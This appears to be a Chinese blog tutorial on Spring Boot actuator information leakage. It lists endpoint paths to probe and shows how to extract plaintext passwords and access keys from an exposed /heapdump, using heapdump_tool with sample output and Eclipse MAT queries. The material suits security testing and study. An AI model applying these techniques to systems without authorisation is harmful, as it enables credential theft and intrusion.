首页 > 其他分享 >springboot heapdump信息获取

springboot heapdump信息获取

时间:2023-10-17 11:56:23浏览次数:37  
标签:java springboot spring 获取 html heapdump actuator password

springboot信息泄露

可能泄漏的路由

/api-docs
/v2/api-docs
/swagger-ui.html
/api.html
/sw/swagger-ui.html
/api/swagger-ui.html
/template/swagger-ui.html
/spring-security-rest/api/swagger-ui.html
/spring-security-oauth-resource/swagger-ui.html
/mappings
/actuator/mappings
/metrics
/actuator/metrics
/beans
/actuator/beans
/configprops
/actuator/configprops
/actuator
/auditevents
/autoconfig
/caches
/conditions
/docs
/dump
/env
/flyway
/health
/heapdump
/httptrace
/info
/intergrationgraph
/jolokia
/logfile
/loggers
/liquibase
/prometheus
/refresh
/scheduledtasks
/sessions
/shutdown
/trace
/threaddump
/actuator/auditevents
/actuator/health
/actuator/conditions
/actuator/env
/actuator/info
/actuator/loggers
/actuator/heapdump
/actuator/threaddump
/actuator/scheduledtasks
/actuator/httptrace
/actuator/jolokia
/actuator/hystrix.stream

/trace:显示最近的http包信息,可能泄露当前系统存活的Cookie信息。
/env:应用的环境信息,包含Profile、系统环境变量和应用的properties信息,可能泄露明文密码与接口信息。
/jolokia:RCE漏洞
/heapdump:JVM内存信息,分析出明文密码

 heapdump

堆转储文件,是一个java进程在某个时间点上的内存快照

可以使用   JVisualVM:JDK自带工具,供开发者用于监视,故障排除。

实际环境

springboot信息泄漏测试

1.访问/actuator/目录查看是否存在泄漏文件

主要是版本的问题 springboot 2.x就有/actuator开头 1.x就没有

2.利用目录爆破探测出存在/heapdump目录

 heapdump分析

工具一:heapdump_tool

heapdump敏感信息查询工具,找到spring heapdump中的密码明文,AK,SK等

https://github.com/wyzxxz/heapdump_tool

https://toolaffix.oss-cn-beijing.aliyuncs.com/wyzxxz/20220720/heapdump_tool.jar

工具使用

java -jar heapdump_tool.jar heapdump.6(file)

root@wy:~# 
> java -jar heapdump_tool.jar  heapdump.6
[-] file: heapdump.6
[-] Start jhat, waiting...
[-] get objects,waiting(1-2min)...
[-] fing object count: 113128
[-] please input keyword value to search, example: password,len=16,num=0-10,all=true,geturl,getfile,getip input q/quit to quit.
> spring.datasource.password
[-] Start find keyword: spring.datasource.password
>> spring.datasource.password -> test@wyzxxz 
[-] please input keyword value to search, example: password,len=16,num=0-10,all=true,geturl,getfile,getip input q/quit to quit.
> accesskey
[-] Start find keyword: accessKey
>> ConnectionProperties.noAccessToProcedureBodies -> When determining procedure parameter types for CallableStatements, and the connected user can''t access procedure bodies through "SHOW CREATE PROCEDURE" or select on mysql.proc should the driver instead create basic metadata
>> accessKey -> LTA**************
[-] please input keyword value to search, example: password,len=16,num=0-10,all=true,geturl,getfile,getip input q/quit to quit.
> q
[-] exit.

查询密码 > password

获取ip > getip

获取url > geturl

获取文件路径 > getfile

工具使用二 : eclipse memoryanalyzer

http://www.eclipse.org/mat/downloads.php

heapdump分析
spring boot 1.x 版本 heapdump 查询结果,最终结果存储在 java.util.Hashtable$Entry 实例的键值对中

select * from org.springframework.web.context.support.StandardServletEnvironment

select * from java.util.Hashtable$Entry x WHERE (toString(x.key).contains("password"))

spring boot 2.x 版本 heapdump 查询结果,最终结果存储在 java.util.LinkedHashMap$Entry 实例的键值对中:

select * from java.util.LinkedHashMap$Entry x WHERE (toString(x.key).contains("password"))

 

标签:java,springboot,spring,获取,html,heapdump,actuator,password
From: https://www.cnblogs.com/lisenMiller/p/17769357.html

相关文章

  • webapi body 参数获取数据
    publicstringHttpPost(){stringstrURL="";DataTabledt=newArichive().GetKEY();stringJsonString=string.Empty;JsonString="{\"appKey\":\""+dt.Rows[......
  • Blazor获取组件变量值
    提问如何获取Blazor组件变量值回答给组件添加@ref,即可在父组件中获取子组件内容示例父组件引用子组件//声明子组件privateSelectEquips_selectEquips=null!;//使用子组件<GridColSpan="16"><SelectEquips@ref="_selectEquips"></SelectEquips><......
  • 如何获取枚举值
    提问如何获取枚举值回答//获取枚举值varvalue=Convert.ToInt32(DeviceTypeEnum);//获取枚举的10进制value.ToString("d");//获取枚举的16进制value.ToString("X");示例publicenumDeviceType{[Display(Name="10KV配电设备")]_201=0x201,[Display(N......
  • 【linux编程】backtrace获取堆栈信息
      参考资料1. 使用backtrace获取堆栈信息2. Howtoprintastacktracewheneveracertainfunctioniscalled......
  • java 获取月初的第一天
    一、背景点击查看代码SimpleDateFormatdf1=newSimpleDateFormat("yyyy-MM-ddHH:mm:ss");Datedate=newDate();Dateda=newDate(date.getYear(),date.getMonth(),01);Timestamptimestamp=Timestamp.valueOf(df1.format(da......
  • vue父组件如何获取子组件的ref
    可以在父组件的mounted钩子函数中获取子组件的ref,然后调用子组件的方法来设置当前节点,代码如下://父组件代码<template><SideBarref="sidebar"/></template><script>exportdefault{mounted(){this.$nextTick(()=>{//获取子组件tree的ref......
  • O(1) 时间插入、删除和获取随机元素
    题目实现RandomizedSet类:RandomizedSet()初始化RandomizedSet对象boolinsert(intval)当元素val不存在时,向集合中插入该项,并返回true;否则,返回false。boolremove(intval)当元素val存在时,从集合中移除该项,并返回true;否则,返回false。intgetRandom()随机......
  • java -jar命令及SpringBoot通过java -jav启动项目的过程
    本篇文章将为大家讲述关于SpringBoot项目工程完成后,是如何通过java-jar命令来启动的,以及介绍java-jar命令的详细内容,对SpringBootjava-jav启动过程感兴趣的朋友跟随小编一起看看吧本篇文章将为大家讲述关于SpringBoot项目工程完成后,是如何通过java-jar命令来启动的......
  • java-springboot和servlet的项目搭建
    1.404->启动tomcat->tomcat闪退->配置jre全局环境,重启电脑->8080端口被占用->下载太多tomcat->重新配置->还是被占用->命令行找netstat-ano|findstr80得到PID,在任务管理器找到(用PID排序会更好找)是一个java.exe,结束进程。->成功运行2.入口类3.mysql命令不生效->因为没加分号(我......
  • Android获取第二个SD卡路径
    File[]externalFilesDirs=getExternalFilesDirs(null);//判断是否有第二个SD卡if(externalFilesDirs.length>1){//第二个SD卡的路径FilesecondSdCardDir=externalFilesDirs[1];}else{//如果没有第二个SD卡,则根据需要进行处理}getExtern......